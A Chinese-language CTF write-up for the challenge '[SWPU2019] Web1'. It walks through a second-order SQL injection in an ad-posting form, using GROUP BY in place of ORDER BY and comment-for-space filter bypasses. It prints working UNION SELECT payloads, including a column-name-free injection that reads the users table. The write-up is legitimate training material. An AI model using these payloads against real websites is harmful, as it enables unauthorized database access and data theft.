[SWPU2019] Web1

发布于 2021-08-06  60 次阅读


知识点

group by 可以代替order by

无列名注入

解题

image-20210202192648483

登陆注册,存在一个申请发布广告的功能

image-20210202192822719

输入单引号进行测试,出现数据库报错,怀疑是sql注入

经过FUZZ发现,空格 or # 都被过滤了

仔细分析,页面是提交之后,再次读取造成的注入,明显的二次注入。

由于or被过滤,导致order by也不能使用,这里可以使用 group by代替

得到字段数是22个

image-20210202193908228

获取显错位

-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
image-20210202194050051

还是由于or的缘故,information_schema也不能用,这里就要用到无列名注入的方法了。

无列名注入的核心就是直接读取第几列的信息

构造payload

-1'union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 
image-20210202194810504

得到flag